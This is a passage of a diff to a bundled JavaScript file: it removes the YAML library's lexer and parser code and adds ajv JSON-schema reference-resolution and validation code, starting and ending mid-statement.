this.hasChars(1))) - next = yield* this.parseNext(next); - } - atLineEnd() { - let i7 = this.pos; - let ch = this.buffer[i7]; - while (ch === " " || ch === " ") - ch = this.buffer[++i7]; - if (!ch || ch === "#" || ch === "\n") - return true; - if (ch === "\r") - return this.buffer[i7 + 1] === "\n"; + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.getSchemaRefs = exports28.resolveUrl = exports28.normalizeId = exports28._getFullPath = exports28.getFullPath = exports28.inlineRef = void 0; + var util_1 = require_util(); + var equal2 = require_fast_deep_equal(); + var traverse4 = require_json_schema_traverse(); + var SIMPLE_INLINED = /* @__PURE__ */ new Set([ + "type", + "format", + "pattern", + "maxLength", + "minLength", + "maxProperties", + "minProperties", + "maxItems", + "minItems", + "maximum", + "minimum", + "uniqueItems", + "multipleOf", + "required", + "enum", + "const" + ]); + function inlineRef(schema8, limit = true) { + if (typeof schema8 == "boolean") + return true; + if (limit === true) + return !hasRef(schema8); + if (!limit) return false; + return countKeys(schema8) <= limit; + } + exports28.inlineRef = inlineRef; + var REF_KEYWORDS = /* @__PURE__ */ new Set([ + "$ref", + "$recursiveRef", + "$recursiveAnchor", + "$dynamicRef", + "$dynamicAnchor" + ]); + function hasRef(schema8) { + for (const key in schema8) { + if (REF_KEYWORDS.has(key)) + return true; + const sch = schema8[key]; + if (Array.isArray(sch) && sch.some(hasRef)) + return true; + if (typeof sch == "object" && hasRef(sch)) + return true; } - charAt(n7) { - return this.buffer[this.pos + n7]; - } - continueScalar(offset) { - let ch = this.buffer[offset]; - if (this.indentNext > 0) { - let indent = 0; - while (ch === " ") - ch = this.buffer[++indent + offset]; - if (ch === "\r") { - const next = this.buffer[indent + offset + 1]; - if (next === "\n" || !next && !this.atEnd) - return offset + indent + 1; - } - return ch === "\n" || indent >= this.indentNext || !ch && !this.atEnd ? offset + indent : -1; - } - if (ch === "-" || ch === ".") { - const dt = this.buffer.substr(offset, 3); - if ((dt === "---" || dt === "...") && isEmpty(this.buffer[offset + 3])) - return -1; - } - return offset; - } - getLine() { - let end = this.lineEndPos; - if (typeof end !== "number" || end !== -1 && end < this.pos) { - end = this.buffer.indexOf("\n", this.pos); - this.lineEndPos = end; + return false; + } + function countKeys(schema8) { + let count2 = 0; + for (const key in schema8) { + if (key === "$ref") + return Infinity; + count2++; + if (SIMPLE_INLINED.has(key)) + continue; + if (typeof schema8[key] == "object") { + (0, util_1.eachItem)(schema8[key], (sch) => count2 += countKeys(sch)); } - if (end === -1) - return this.atEnd ? this.buffer.substring(this.pos) : null; - if (this.buffer[end - 1] === "\r") - end -= 1; - return this.buffer.substring(this.pos, end); - } - hasChars(n7) { - return this.pos + n7 <= this.buffer.length; - } - setNext(state) { - this.buffer = this.buffer.substring(this.pos); - this.pos = 0; - this.lineEndPos = null; - this.next = state; - return null; + if (count2 === Infinity) + return Infinity; } - peek(n7) { - return this.buffer.substr(this.pos, n7); - } - *parseNext(next) { - switch (next) { - case "stream": - return yield* this.parseStream(); - case "line-start": - return yield* this.parseLineStart(); - case "block-start": - return yield* this.parseBlockStart(); - case "doc": - return yield* this.parseDocument(); - case "flow": - return yield* this.parseFlowCollection(); - case "quoted-scalar": - return yield* this.parseQuotedScalar(); - case "block-scalar": - return yield* this.parseBlockScalar(); - case "plain-scalar": - return yield* this.parsePlainScalar(); - } - } - *parseStream() { - let line = this.getLine(); - if (line === null) - return this.setNext("stream"); - if (line[0] === BOM) { - yield* this.pushCount(1); - line = line.substring(1); - } - if (line[0] === "%") { - let dirEnd = line.length; - let cs = line.indexOf("#"); - while (cs !== -1) { - const ch = line[cs - 1]; - if (ch === " " || ch === " ") { - dirEnd = cs - 1; - break; + return count2; + } + function getFullPath(resolver, id = "", normalize2) { + if (normalize2 !== false) + id = normalizeId(id); + const p7 = resolver.parse(id); + return _getFullPath(resolver, p7); + } + exports28.getFullPath = getFullPath; + function _getFullPath(resolver, p7) { + const serialized = resolver.serialize(p7); + return serialized.split("#")[0] + "#"; + } + exports28._getFullPath = _getFullPath; + var TRAILING_SLASH_HASH = /#\/?$/; + function normalizeId(id) { + return id ? id.replace(TRAILING_SLASH_HASH, "") : ""; + } + exports28.normalizeId = normalizeId; + function resolveUrl(resolver, baseId, id) { + id = normalizeId(id); + return resolver.resolve(baseId, id); + } + exports28.resolveUrl = resolveUrl; + var ANCHOR = /^[a-z_][-a-z0-9._]*$/i; + function getSchemaRefs(schema8, baseId) { + if (typeof schema8 == "boolean") + return {}; + const { schemaId, uriResolver } = this.opts; + const schId = normalizeId(schema8[schemaId] || baseId); + const baseIds = { "": schId }; + const pathPrefix = getFullPath(uriResolver, schId, false); + const localRefs = {}; + const schemaRefs = /* @__PURE__ */ new Set(); + traverse4(schema8, { allKeys: true }, (sch, jsonPtr, _6, parentJsonPtr) => { + if (parentJsonPtr === void 0) + return; + const fullPath = pathPrefix + jsonPtr; + let innerBaseId = baseIds[parentJsonPtr]; + if (typeof sch[schemaId] == "string") + innerBaseId = addRef.call(this, sch[schemaId]); + addAnchor.call(this, sch.$anchor); + addAnchor.call(this, sch.$dynamicAnchor); + baseIds[jsonPtr] = innerBaseId; + function addRef(ref) { + const _resolve = this.opts.uriResolver.resolve; + ref = normalizeId(innerBaseId ? _resolve(innerBaseId, ref) : ref); + if (schemaRefs.has(ref)) + throw ambiguos(ref); + schemaRefs.add(ref); + let schOrRef = this.refs[ref]; + if (typeof schOrRef == "string") + schOrRef = this.refs[schOrRef]; + if (typeof schOrRef == "object") { + checkAmbiguosRef(sch, schOrRef.schema, ref); + } else if (ref !== normalizeId(fullPath)) { + if (ref[0] === "#") { + checkAmbiguosRef(sch, localRefs[ref], ref); + localRefs[ref] = sch; } else { - cs = line.indexOf("#", cs + 1); + this.refs[ref] = fullPath; } } - while (true) { - const ch = line[dirEnd - 1]; - if (ch === " " || ch === " ") - dirEnd -= 1; - else - break; - } - const n7 = (yield* this.pushCount(dirEnd)) + (yield* this.pushSpaces(true)); - yield* this.pushCount(line.length - n7); - this.pushNewline(); - return "stream"; + return ref; } - if (this.atLineEnd()) { - const sp = yield* this.pushSpaces(true); - yield* this.pushCount(line.length - sp); - yield* this.pushNewline(); - return "stream"; + function addAnchor(anchor) { + if (typeof anchor == "string") { + if (!ANCHOR.test(anchor)) + throw new Error(`invalid anchor "${anchor}"`); + addRef.call(this, `#${anchor}`); + } } - yield DOCUMENT; - return yield* this.parseLineStart(); - } - *parseLineStart() { - const ch = this.charAt(0); - if (!ch && !this.atEnd) - return this.setNext("line-start"); - if (ch === "-" || ch === ".") { - if (!this.atEnd && !this.hasChars(4)) - return this.setNext("line-start"); - const s7 = this.peek(3); - if ((s7 === "---" || s7 === "...") && isEmpty(this.charAt(3))) { - yield* this.pushCount(3); - this.indentValue = 0; - this.indentNext = 0; - return s7 === "---" ? "doc" : "stream"; - } - } - this.indentValue = yield* this.pushSpaces(false); - if (this.indentNext > this.indentValue && !isEmpty(this.charAt(1))) - this.indentNext = this.indentValue; - return yield* this.parseBlockStart(); + }); + return localRefs; + function checkAmbiguosRef(sch1, sch2, ref) { + if (sch2 !== void 0 && !equal2(sch1, sch2)) + throw ambiguos(ref); } - *parseBlockStart() { - const [ch0, ch1] = this.peek(2); - if (!ch1 && !this.atEnd) - return this.setNext("block-start"); - if ((ch0 === "-" || ch0 === "?" || ch0 === ":") && isEmpty(ch1)) { - const n7 = (yield* this.pushCount(1)) + (yield* this.pushSpaces(true)); - this.indentNext = this.indentValue + 1; - this.indentValue += n7; - return yield* this.parseBlockStart(); - } - return "doc"; + function ambiguos(ref) { + return new Error(`reference "${ref}" resolves to more than one schema`); } - *parseDocument() { - yield* this.pushSpaces(true); - const line = this.getLine(); - if (line === null) - return this.setNext("doc"); - let n7 = yield* this.pushIndicators(); - switch (line[n7]) { - case "#": - yield* this.pushCount(line.length - n7); - case void 0: - yield* this.pushNewline(); - return yield* this.parseLineStart(); - case "{": - case "[": - yield* this.pushCount(1); - this.flowKey = false; - this.flowLevel = 1; - return "flow"; - case "}": - case "]": - yield* this.pushCount(1); - return "doc"; - case "*": - yield* this.pushUntil(isNotAnchorChar); - return "doc"; - case '"': - case "'": - return yield* this.parseQuotedScalar(); - case "|": - case ">": - n7 += yield* this.parseBlockScalarHeader(); - n7 += yield* this.pushSpaces(true); - yield* this.pushCount(line.length - n7); - yield* this.pushNewline(); - return yield* this.parseBlockScalar(); - default: - return yield* this.parsePlainScalar(); + } + exports28.getSchemaRefs = getSchemaRefs; + } +}); + +// node_modules/ajv/dist/compile/validate/index.js +var require_validate = __commonJS({ + "node_modules/ajv/dist/compile/validate/index.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.getData = exports28.KeywordCxt = exports28.validateFunctionCode = void 0; + var boolSchema_1 = require_boolSchema(); + var dataType_1 = require_dataType(); + var applicability_1 = require_applicability(); + var dataType_2 = require_dataType(); + var defaults_1 = require_defaults(); + var keyword_1 = require_keyword2(); + var subschema_1 = require_subschema(); + var codegen_1 = require_codegen(); + var names_1 = require_names(); + var resolve_1 = require_resolve(); + var util_1 = require_util(); + var errors_1 = require_errors(); + function validateFunctionCode(it2) { + if (isSchemaObj(it2)) { + checkKeywords(it2); + if (schemaCxtHasRules(it2)) { + topSchemaObjCode(it2); + return; } } - *parseFlowCollection() { - let nl, sp; - let indent = -1; - do { - nl = yield* this.pushNewline(); - if (nl > 0) { - sp = yield* this.pushSpaces(false); - this.indentValue = indent = sp; - } else { - sp = 0; - } - sp += yield* this.pushSpaces(true); - } while (nl + sp > 0); - const line = this.getLine(); - if (line === null) - return this.setNext("flow"); - if (indent !== -1 && indent < this.indentNext && line[0] !== "#" || indent === 0 && (line.startsWith("---") || line.startsWith("...")) && isEmpty(line[3])) { - const atFlowEndMarker = indent === this.indentNext - 1 && this.flowLevel === 1 && (line[0] === "]" || line[0] === "}"); - if (!atFlowEndMarker) { - this.flowLevel = 0; - yield FLOW_END; - return yield* this.parseLineStart(); - } - } - let n7 = 0; - while (line[n7] === ",") { - n7 += yield* this.pushCount(1); - n7 += yield* this.pushSpaces(true); - this.flowKey = false; - } - n7 += yield* this.pushIndicators(); - switch (line[n7]) { - case void 0: - return "flow"; - case "#": - yield* this.pushCount(line.length - n7); - return "flow"; - case "{": - case "[": - yield* this.pushCount(1); - this.flowKey = false; - this.flowLevel += 1; - return "flow"; - case "}": - case "]": - yield* this.pushCount(1); - this.flowKey = true; - this.flowLevel -= 1; - return this.flowLevel ? "flow" : "doc"; - case "*": - yield* this.pushUntil(isNotAnchorChar); - return "flow"; - case '"': - case "'": - this.flowKey = true; - return yield* this.parseQuotedScalar(); - case ":": { - const next = this.charAt(1); - if (this.flowKey || isEmpty(next) || next === ",") { - this.flowKey = false; - yield* this.pushCount(1); - yield* this.pushSpaces(true); - return "flow"; - } - } - default: - this.flowKey = false; - return yield* this.parsePlainScalar(); - } + validateFunction(it2, () => (0, boolSchema_1.topBoolOrEmptySchema)(it2)); + } + exports28.validateFunctionCode = validateFunctionCode; + function validateFunction({ gen, validateName, schema: schema8, schemaEnv, opts }, body) { + if (opts.code.es5) { + gen.func(validateName, (0, codegen_1._)`${names_1.default.data}, ${names_1.default.valCxt}`, schemaEnv.$async, () => { + gen.code((0, codegen_1._)`"use strict"; ${funcSourceUrl(schema8, opts)}`); + destructureValCxtES5(gen, opts); + gen.code(body); + }); + } else { + gen.func(validateName, (0, codegen_1._)`${names_1.default.data}, ${destructureValCxt(opts)}`, schemaEnv.$async, () => gen.code(funcSourceUrl(schema8, opts)).code(body)); } - *parseQuotedScalar() { - const quote = this.charAt(0); - let end = this.buffer.indexOf(quote, this.pos + 1); - if (quote === "'") { - while (end !== -1 && this.buffer[end + 1] === "'") - end = this.buffer.indexOf("'", end + 2); - } else { - while (end !== -1) { - let n7 = 0; - while (this.buffer[end - 1 - n7] === "\\") - n7 += 1; - if (n7 % 2 === 0) - break; - end = this.buffer.indexOf('"', end + 1); - } - } - const qb = this.buffer.substring(0, end); - let nl = qb.indexOf("\n", this.pos); - if (nl !== -1) { - while (nl !== -1) { - const cs = this.continueScalar(nl + 1); - if (cs === -1) - break; - nl = qb.indexOf("\n", cs); - } - if (nl !== -1) { - end = nl - (qb[nl - 1] === "\r" ? 2 : 1); - } - } - if (end === -1) { - if (!this.atEnd) - return this.setNext("quoted-scalar"); - end = this.buffer.length; + } + function destructureValCxt(opts) { + return (0, codegen_1._)`{${names_1.default.instancePath}="", ${names_1.default.parentData}, ${names_1.default.parentDataProperty}, ${names_1.default.rootData}=${names_1.default.data}${opts.dynamicRef ? (0, codegen_1._)`, ${names_1.default.dynamicAnchors}={}` : codegen_1.nil}}={}`; + } + function destructureValCxtES5(gen, opts) { + gen.if(names_1.default.valCxt, () => { + gen.var(names_1.default.instancePath, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.instancePath}`); + gen.var(names_1.default.parentData, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.parentData}`); + gen.var(names_1.default.parentDataProperty, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.parentDataProperty}`); + gen.var(names_1.default.rootData, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.rootData}`); + if (opts.dynamicRef) + gen.var(names_1.default.dynamicAnchors, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.dynamicAnchors}`); + }, () => { + gen.var(names_1.default.instancePath, (0, codegen_1._)`""`); + gen.var(names_1.default.parentData, (0, codegen_1._)`undefined`); + gen.var(names_1.default.parentDataProperty, (0, codegen_1._)`undefined`); + gen.var(names_1.default.rootData, names_1.default.data); + if (opts.dynamicRef) + gen.var(names_1.default.dynamicAnchors, (0, codegen_1._)`{}`); + }); + } + function topSchemaObjCode(it2) { + const { schema: schema8, opts, gen } = it2; + validateFunction(it2, () => { + if (opts.$comment && schema8.$comment) + commentKeyword(it2); + checkNoDefault(it2); + gen.let(names_1.default.vErrors, null); + gen.let(names_1.default.errors, 0); + if (opts.unevaluated) + resetEvaluated(it2); + typeAndKeywords(it2); + returnResults(it2); + }); + return; + } + function resetEvaluated(it2) { + const { gen, validateName } = it2; + it2.evaluated = gen.const("evaluated", (0, codegen_1._)`${validateName}.evaluated`); + gen.if((0, codegen_1._)`${it2.evaluated}.dynamicProps`, () => gen.assign((0, codegen_1._)`${it2.evaluated}.props`, (0, codegen_1._)`undefined`)); + gen.if((0, codegen_1._)`${it2.evaluated}.dynamicItems`, () => gen.assign((0, codegen_1._)`${it2.evaluated}.items`, (0, codegen_1._)`undefined`)); + } + function funcSourceUrl(schema8, opts) { + const schId = typeof schema8 == "object" && schema8[opts.schemaId]; + return schId && (opts.code.source || opts.code.process) ? (0, codegen_1._)`/*# sourceURL=${schId} */` : codegen_1.nil; + } + function subschemaCode(it2, valid) { + if (isSchemaObj(it2)) { + checkKeywords(it2); + if (schemaCxtHasRules(it2)) { + subSchemaObjCode(it2, valid); + return; } - yield* this.pushToIndex(end + 1, false); - return this.flowLevel ? "flow" : "doc"; } - *parseBlockScalarHeader() { - this.blockScalarIndent = -1; - this.blockScalarKeep = false; - let i7 = this.pos; - while (true) { - const ch = this.buffer[++i7]; - if (ch === "+") - this.blockScalarKeep = true; - else if (ch > "0" && ch <= "9") - this.blockScalarIndent = Number(ch) - 1; - else if (ch !== "-") - break; - } - return yield* this.pushUntil((ch) => isEmpty(ch) || ch === "#"); + (0, boolSchema_1.boolOrEmptySchema)(it2, valid); + } + function schemaCxtHasRules({ schema: schema8, self: self2 }) { + if (typeof schema8 == "boolean") + return !schema8; + for (const key in schema8) + if (self2.RULES.all[key]) + return true; + return false; + } + function isSchemaObj(it2) { + return typeof it2.schema != "boolean"; + } + function subSchemaObjCode(it2, valid) { + const { schema: schema8, gen, opts } = it2; + if (opts.$comment && schema8.$comment) + commentKeyword(it2); + updateContext(it2); + checkAsyncSchema(it2); + const errsCount = gen.const("_errs", names_1.default.errors); + typeAndKeywords(it2, errsCount); + gen.var(valid, (0, codegen_1._)`${errsCount} === ${names_1.default.errors}`); + } + function checkKeywords(it2) { + (0, util_1.checkUnknownRules)(it2); + checkRefsAndKeywords(it2); + } + function typeAndKeywords(it2, errsCount) { + if (it2.opts.jtd) + return schemaKeywords(it2, [], false, errsCount); + const types3 = (0, dataType_1.getSchemaTypes)(it2.schema); + const checkedTypes = (0, dataType_1.coerceAndCheckDataType)(it2, types3); + schemaKeywords(it2, types3, !checkedTypes, errsCount); + } + function checkRefsAndKeywords(it2) { + const { schema: schema8, errSchemaPath, opts, self: self2 } = it2; + if (schema8.$ref && opts.ignoreKeywordsWithRef && (0, util_1.schemaHasRulesButRef)(schema8, self2.RULES)) { + self2.logger.warn(`$ref: keywords ignored in schema at path "${errSchemaPath}"`); } - *parseBlockScalar() { - let nl = this.pos - 1; - let indent = 0; - let ch; - loop: - for (let i8 = this.pos; ch = this.buffer[i8]; ++i8) { - switch (ch) { - case " ": - indent += 1; - break; - case "\n": - nl = i8; - indent = 0; - break; - case "\r": { - const next = this.buffer[i8 + 1]; - if (!next && !this.atEnd) - return this.setNext("block-scalar"); - if (next === "\n") - break; - } - default: - break loop; - } - } - if (!ch && !this.atEnd) - return this.setNext("block-scalar"); - if (indent >= this.indentNext) { - if (this.blockScalarIndent === -1) - this.indentNext = indent; - else { - this.indentNext = this.blockScalarIndent + (this.indentNext === 0 ? 1 : this.indentNext); - } - do { - const cs = this.continueScalar(nl + 1); - if (cs === -1) - break; - nl = this.buffer.indexOf("\n", cs); - } while (nl !== -1); - if (nl === -1) { - if (!this.atEnd) - return this.setNext("block-scalar"); - nl = this.buffer.length; - } - } - let i7 = nl + 1; - ch = this.buffer[i7]; - while (ch === " ") - ch = this.buffer[++i7]; - if (ch === " ") { - while (ch === " " || ch === " " || ch === "\r" || ch === "\n") - ch = this.buffer[++i7]; - nl = i7 - 1; - } else if (!this.blockScalarKeep) { - do { - let i8 = nl - 1; - let ch2 = this.buffer[i8]; - if (ch2 === "\r") - ch2 = this.buffer[--i8]; - const lastChar = i8; - while (ch2 === " ") - ch2 = this.buffer[--i8]; - if (ch2 === "\n" && i8 >= this.pos && i8 + 1 + indent > lastChar) - nl = i8; - else - break; - } while (true); - } - yield SCALAR2; - yield* this.pushToIndex(nl + 1, true); - return yield* this.parseLineStart(); + } + function checkNoDefault(it2) { + const { schema: schema8, opts } = it2; + if (schema8.default !== void 0 && opts.useDefaults && opts.strictSchema) { + (0, util_1.checkStrictMode)(it2, "default is ignored in the schema root"); } - *parsePlainScalar() { - const inFlow = this.flowLevel > 0; - let end = this.pos - 1; - let i7 = this.pos - 1; - let ch; - while (ch = this.buffer[++i7]) { - if (ch === ":") { - const next = this.buffer[i7 + 1]; - if (isEmpty(next) || inFlow && flowIndicatorChars.has(next)) - break; - end = i7; - } else if (isEmpty(ch)) { - let next = this.buffer[i7 + 1]; - if (ch === "\r") { - if (next === "\n") { - i7 += 1; - ch = "\n"; - next = this.buffer[i7 + 1]; - } else - end = i7; - } - if (next === "#" || inFlow && flowIndicatorChars.has(next)) - break; - if (ch === "\n") { - const cs = this.continueScalar(i7 + 1); - if (cs === -1) - break; - i7 = Math.max(i7, cs - 2); - } - } else { - if (inFlow && flowIndicatorChars.has(ch)) - break; - end = i7; - } - } - if (!ch && !this.atEnd) - return this.setNext("plain-scalar"); - yield SCALAR2; - yield* this.pushToIndex(end + 1, true); - return inFlow ? "flow" : "doc"; + } + function updateContext(it2) { + const schId = it2.schema[it2.opts.schemaId]; + if (schId) + it2.baseId = (0, resolve_1.resolveUrl)(it2.opts.uriResolver, it2.baseId, schId); + } + function checkAsyncSchema(it2) { + if (it2.schema.$async && !it2.schemaEnv.$async) + throw new Error("async schema in sync schema"); + } + function commentKeyword({ gen, schemaEnv, schema: schema8, errSchemaPath, opts }) { + const msg = schema8.$comment; + if (opts.$comment === true) { + gen.code((0, codegen_1._)`${names_1.default.self}.logger.log(${msg})`); + } else if (typeof opts.$comment == "function") { + const schemaPath = (0, codegen_1.str)`${errSchemaPath}/$comment`; + const rootName = gen.scopeValue("root", { ref: schemaEnv.root }); + gen.code((0, codegen_1._)`${names_1.default.self}.opts.$comment(${msg}, ${schemaPath}, ${rootName}.schema)`); } - *pushCount(n7) { - if (n7 > 0) { - yield this.buffer.substr(this.pos, n7); - this.pos += n7; - return n7; - } - return 0; + } + function returnResults(it2) { + const { gen, schemaEnv, validateName, ValidationError, opts } = it2; + if (schemaEnv.$async) { + gen.if((0, codegen_1._)`${names_1.default.errors} === 0`, () => gen.return(names_1.default.data), () => gen.throw((0, codegen_1._)`new ${ValidationError}(${names_1.default.vErrors})`)); + } else { + gen.assign((0, codegen_1._)`${validateName}.errors`, names_1.default.vErrors); + if (opts.unevaluated) + assignEvaluated(it2); + gen.return((0, codegen_1._)`${names_1.default.errors} === 0`); } - *pushToIndex(i7, allowEmpty) { - const s7 = this.buffer.slice(this.pos, i7); - if (s7) { - yield s7; - this.pos += s7.length; - return s7.length; - } else if (allowEmpty) - yield ""; - return 0; + } + function assignEvaluated({ gen, evaluated, props, items }) { + if (props instanceof codegen_1.Name) + gen.assign((0, codegen_1._)`${evaluated}.props`, props); + if (items instanceof codegen_1.Name) + gen.assign((0, codegen_1._)`${evaluated}.items`, items); + } + function schemaKeywords(it2, types3, typeErrors, errsCount) { + const { gen, schema: schema8, data, allErrors, opts, self: self2 } = it2; + const { RULES } = self2; + if (schema8.$ref && (opts.ignoreKeywordsWithRef || !(0, util_1.schemaHasRulesButRef)(schema8, RULES))) { + gen.block(() => keywordCode(it2, "$ref", RULES.all.$ref.definition)); + return; } - *pushIndicators() { - switch (this.charAt(0)) { - case "!": - return (yield* this.pushTag()) + (yield* this.pushSpaces(true)) + (yield* this.pushIndicators()); - case "&": - return (yield* this.pushUntil(isNotAnchorChar)) + (yield* this.pushSpaces(true)) + (yield* this.pushIndicators()); - case "-": - case "?": - case ":": { - const inFlow = this.flowLevel > 0; - const ch1 = this.charAt(1); - if (isEmpty(ch1) || inFlow && flowIndicatorChars.has(ch1)) { - if (!inFlow) - this.indentNext = this.indentValue + 1; - else if (this.flowKey) - this.flowKey = false; - return (yield* this.pushCount(1)) + (yield* this.pushSpaces(true)) + (yield* this.pushIndicators()); - } + if (!opts.jtd) + checkStrictTypes(it2, types3); + gen.block(() => { + for (const group2 of RULES.rules) + groupKeywords(group2); + groupKeywords(RULES.post); + }); + function groupKeywords(group2) { + if (!(0, applicability_1.shouldUseGroup)(schema8, group2)) + return; + if (group2.type) { + gen.if((0, dataType_2.checkDataType)(group2.type, data, opts.strictNumbers)); + iterateKeywords(it2, group2); + if (types3.length === 1 && types3[0] === group2.type && typeErrors) { + gen.else(); + (0, dataType_2.reportTypeError)(it2); } + gen.endIf(); + } else { + iterateKeywords(it2, group2); } - return 0; + if (!allErrors) + gen.if((0, codegen_1._)`${names_1.default.errors} === ${errsCount || 0}`); } - *pushTag() { - if (this.charAt(1) === "<") { - let i7 = this.pos + 2; - let ch = this.buffer[i7]; - while (!isEmpty(ch) && ch !== ">") - ch = this.buffer[++i7]; - return yield* this.pushToIndex(ch === ">" ? i7 + 1 : i7, false); - } else { - let i7 = this.pos + 1; - let ch = this.buffer[i7]; - while (ch) { - if (tagChars.has(ch)) - ch = this.buffer[++i7]; - else if (ch === "%" && hexDigits.has(this.buffer[i7 + 1]) && hexDigits.has(this.buffer[i7 + 2])) { - ch = this.buffer[i7 += 3]; - } else - break; + } + function iterateKeywords(it2, group2) { + const { gen, schema: schema8, opts: { useDefaults } } = it2; + if (useDefaults) + (0, defaults_1.assignDefaults)(it2, group2.type); + gen.block(() => { + for (const rule of group2.rules) { + if ((0, applicability_1.shouldUseRule)(schema8, rule)) { + keywordCode(it2, rule.keyword, rule.definition, group2.type); } - return yield* this.pushToIndex(i7, false); } + }); + } + function checkStrictTypes(it2, types3) { + if (it2.schemaEnv.meta || !it2.opts.strictTypes) + return; + checkContextTypes(it2, types3); + if (!it2.opts.allowUnionTypes) + checkMultipleTypes(it2, types3); + checkKeywordTypes(it2, it2.dataTypes); + } + function checkContextTypes(it2, types3) { + if (!types3.length) + return; + if (!it2.dataTypes.length) { + it2.dataTypes = types3; + return; } - *pushNewline() { - const ch = this.buffer[this.pos]; - if (ch === "\n") - return yield* this.pushCount(1); - else if (ch === "\r" && this.charAt(1) === "\n") - return yield* this.pushCount(2); - else - return 0; - } - *pushSpaces(allowTabs) { - let i7 = this.pos - 1; - let ch; - do { - ch = this.buffer[++i7]; - } while (ch === " " || allowTabs && ch === " "); - const n7 = i7 - this.pos; - if (n7 > 0) { - yield this.buffer.substr(this.pos, n7); - this.pos = i7; + types3.forEach((t8) => { + if (!includesType(it2.dataTypes, t8)) { + strictTypesError(it2, `type "${t8}" not allowed by context "${it2.dataTypes.join(",")}"`); } - return n7; - } - *pushUntil(test) { - let i7 = this.pos; - let ch = this.buffer[i7]; - while (!test(ch)) - ch = this.buffer[++i7]; - return yield* this.pushToIndex(i7, false); + }); + narrowSchemaTypes(it2, types3); + } + function checkMultipleTypes(it2, ts) { + if (ts.length > 1 && !(ts.length === 2 && ts.includes("null"))) { + strictTypesError(it2, "use allowUnionTypes to allow union type keyword"); } - }; - } -}); - -// node_modules/yaml/browser/dist/parse/line-counter.js -var LineCounter; -var init_line_counter = __esm({ - "node_modules/yaml/browser/dist/parse/line-counter.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - LineCounter = class { - constructor() { - this.lineStarts = []; - this.addNewLine = (offset) => this.lineStarts.push(offset); - this.linePos = (offset) => { - let low = 0; - let high = this.lineStarts.length; - while (low < high) { - const mid = low + high >> 1; - if (this.lineStarts[mid] < offset) - low = mid + 1; - else - high = mid; + } + function checkKeywordTypes(it2, ts) { + const rules = it2.self.RULES.all; + for (const keyword in rules) { + const rule = rules[keyword]; + if (typeof rule == "object" && (0, applicability_1.shouldUseRule)(it2.schema, rule)) { + const { type: type3 } = rule.definition; + if (type3.length && !type3.some((t8) => hasApplicableType(ts, t8))) { + strictTypesError(it2, `missing type "${type3.join(",")}" for keyword "${keyword}"`); } - if (this.lineStarts[low] === offset) - return { line: low + 1, col: 1 }; - if (low === 0) - return { line: 0, col: offset }; - const start = this.lineStarts[low - 1]; - return { line: low, col: offset - start + 1 }; - }; + } } - }; - } -}); - -// node_modules/yaml/browser/dist/parse/parser.js -function includesToken(list, type3) { - for (let i7 = 0; i7 < list.length; ++i7) - if (list[i7].type === type3) - return true; - return false; -} -function findNonEmptyIndex(list) { - for (let i7 = 0; i7 < list.length; ++i7) { - switch (list[i7].type) { - case "space": - case "comment": - case "newline": - break; - default: - return i7; } - } - return -1; -} -function isFlowToken(token) { - switch (token?.type) { - case "alias": - case "scalar": - case "single-quoted-scalar": - case "double-quoted-scalar": - case "flow-collection": - return true; - default: - return false; - } -} -function getPrevProps(parent2) { - switch (parent2.type) { - case "document": - return parent2.start; - case "block-map": { - const it2 = parent2.items[parent2.items.length - 1]; - return it2.sep ?? it2.start; + function hasApplicableType(schTs, kwdT) { + return schTs.includes(kwdT) || kwdT === "number" && schTs.includes("integer"); } - case "block-seq": - return parent2.items[parent2.items.length - 1].start; - default: - return []; - } -} -function getFirstKeyStartProps(prev) { - if (prev.length === 0) - return []; - let i7 = prev.length; - loop: - while (--i7 >= 0) { - switch (prev[i7].type) { - case "doc-start": - case "explicit-key-ind": - case "map-value-ind": - case "seq-item-ind": - case "newline": - break loop; - } + function includesType(ts, t8) { + return ts.includes(t8) || t8 === "integer" && ts.includes("number"); } - while (prev[++i7]?.type === "space") { - } - return prev.splice(i7, prev.length); -} -function fixFlowSeqItems(fc) { - if (fc.start.type === "flow-seq-start") { - for (const it2 of fc.items) { - if (it2.sep && !it2.value && !includesToken(it2.start, "explicit-key-ind") && !includesToken(it2.sep, "map-value-ind")) { - if (it2.key) - it2.value = it2.key; - delete it2.key; - if (isFlowToken(it2.value)) { - if (it2.value.end) - Array.prototype.push.apply(it2.value.end, it2.sep); - else - it2.value.end = it2.sep; - } else - Array.prototype.push.apply(it2.start, it2.sep); - delete it2.sep; + function narrowSchemaTypes(it2, withTypes) { + const ts = []; + for (const t8 of it2.dataTypes) { + if (includesType(withTypes, t8)) + ts.push(t8); + else if (withTypes.includes("integer") && t8 === "number") + ts.push("integer"); } + it2.dataTypes = ts; } - } -} -var Parser; -var init_parser = __esm({ - "node_modules/yaml/browser/dist/parse/parser.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_cst(); - init_lexer(); - Parser = class { - /** - * @param onNewLine - If defined, called separately with the start position of - * each new line (in `parse()`, including the start of input). - */ - constructor(onNewLine) { - this.atNewLine = true; - this.atScalar = false; - this.indent = 0; - this.offset = 0; - this.onKeyLine = false; - this.stack = []; - this.source = ""; - this.type = ""; - this.lexer = new Lexer(); - this.onNewLine = onNewLine; - } - /** - * Parse `source` as a YAML stream. - * If `incomplete`, a part of the last line may be left as a buffer for the next call. - * - * Errors are not thrown, but yielded as `{ type: 'error', message }` tokens. - * - * @returns A generator of tokens representing each directive, document, and other structure. - */ - *parse(source, incomplete = false) { - if (this.onNewLine && this.offset === 0) - this.onNewLine(0); - for (const lexeme of this.lexer.lex(source, incomplete)) - yield* this.next(lexeme); - if (!incomplete) - yield* this.end(); - } - /** - * Advance the parser by the `source` of one lexical token. - */ - *next(source) { - this.source = source; - if (this.atScalar) { - this.atScalar = false; - yield* this.step(); - this.offset += source.length; - return; - } - const type3 = tokenType(source); - if (!type3) { - const message = `Not a YAML token: ${source}`; - yield* this.pop({ type: "error", offset: this.offset, message, source }); - this.offset += source.length; - } else if (type3 === "scalar") { - this.atNewLine = false; - this.atScalar = true; - this.type = "scalar"; + function strictTypesError(it2, msg) { + const schemaPath = it2.schemaEnv.baseId + 